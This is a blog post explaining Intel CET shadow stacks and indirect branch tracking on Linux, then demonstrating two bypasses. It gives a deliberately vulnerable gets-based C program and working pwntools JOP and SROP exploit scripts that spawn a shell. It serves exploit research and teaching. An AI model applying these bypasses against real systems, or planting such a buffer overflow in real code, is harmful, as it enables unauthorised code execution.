Out of control

Shadow Stack

The shadow stack is another separate stack for the running program. Unlike the ordinary stack, it only keeps track of return addresses.

When a return occurs, the address is popped off the normal stack and the shadow stack and then compared. If the addresses match, the return is executed as usual. If the addresses don't match then the processor raises the Control Protection exception (#CP).

Each shadow stack also has a special token associated with it. This token is required for loading and restoring the shadow stack. If the token on the shadow stack does not match with the one that is being used to restore the shadow stack then the #CP exception will be raised.

The token is a 64 bit value and it's layout is as shown below

Shadow Token layout

The token is generated on RSTORSSP when the shadow stack is preserved and the SAVEPREVSSP pops off the token.

Shadow stack restore and save

The shadow stack is set up when a new thread is started.

Indirect branch tracking

IBT works by checking if the address to which the jump or call is made has the instruction ENDBR64 for long mode and ENDBR32 for protected mode. If the specific instruction is not found then the #CP exception is raised else the CPU continues execution as normal. IBT is not enforced if the jump or call is made with the notrack prefix.

Operating System side

I will look into Linux for this blog. Windows has supported CET for a longer while. I will look into Windows some other time.

Bypassing CET

As of now I could think of two ways in which CET can be bypassed.

-> Using Jump Oriented Programming (JOP) since IBT is not enabled for userspace processes

-> Using Sigreturn Oriented Programming (SROP)

For testing I will be exploiting this simple C program

    #include <stdio.h>
    #include <stdint.h>
    #include <stddef.h>
    #include <stdlib.h>

    typedef void (*func_ptr_t)(uint64_t arg);

    char *gets(char *str);

    int main(void) {
    	char buffer[512] = {0};
    	func_ptr_t func = (func_ptr_t)puts;
    	system("echo Hello there! What is your name?"); // So glibc would forcefully link in system as well
    	gets(buffer);
    	puts("Nice to meet you ");
    	func((uint64_t)buffer);
    	putchar('\n');
    	return 0;
    }
                    

I compiled using the following command gcc fun.c -o fun -fno-stack-protector -fcf-protection=return,branch -static

The system I am running this on is Ultramarine Linux 41 running kernel version 6.13.10-200.fc41.x86_64. The CPU used by the system is 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz.

Note: I am aware that I can simply overwrite the function pointer to call system directly. The below two exploits are done only for demonstrating CET bypasses.

Method 1 Jump Oriented Programming

Since IBT is not enabled for userspace programs, it is possible to still achieve code execution using Jump Oriented Programming. Now this is lame since we are not bypassing CET here but since IBT is not enabled we can make use of this.

Some useful functions begin with the endbr64 instruction which can be utilised for JOP.

endbr instruction at the start of main

We can see the compiler has generated code with the endbr64 instruction added at the start of every function.

endbr instruction at the start of putchar

I setup a simple JOP chain using this interesting gadget.

JOP gadget

        
    from pwn import *

    elf = context.binary = ELF("./fun")
    p = process()
    
    payload = p64(0x404ee0)
    payload += p64(0x47c725)
    payload += b"A" * (512 - (8 * 2))
    payload += p64(0x401960)
    
    p.sendline(payload)
    p.interactive()                        
                    

When the function pointer is called, its return address is pushed on to the stack. The gadget pops it into the rbx register. The pointer to system is then popped in rax and a pointer to /bin/sh is popped into rdi. Finally rax is called which makes this the equivalent of system("/bin/sh") giving us a shell.

JOP Exploit flow

JOP Exploit flow

Method 2 Sigreturn Oriented Programming

Sigreturn Oriented Programming leverages the use of the sigreturn syscall. Unlike ROP where the CPU returns to the address placed on the stack, a context frame on the stack is loaded by the kernel and that becomes the new context for the CPU. This allows for much more control over the CPU.

Since the sigreturn context is not protected by CET it is possible to load our own context and then execute whatever code we want. IBT is not enforced on signal handler entries which means it is possible to simply jump to __restore_rt which makes the sigreturn syscall.

    from pwn import *

    elf = context.binary = ELF("./fun")
    p = process()

    context.arch = "amd64"
    frame = SigreturnFrame()
    frame.rax = 0x3b
    frame.rip = 0x43bf97
    frame.rdi = 0x47c725
    frame.rsi = 0x0
    frame.rdx = 0x0

    payload = bytes(frame)[8:]
    payload += b"A" * (512 - len(bytes(frame)) + 8)
    payload += b"B" * 8
    payload += p64(0x43bf90)

    p.sendline(payload)
    p.interactive()
                    

Since the return address is pushed, we would have to skip the first register entry in the sigreturn frame. Thankfully it is a register that does not interfere with the final syscall we make to launch the shell.

SROP Exploit flow

SROP Exploit flow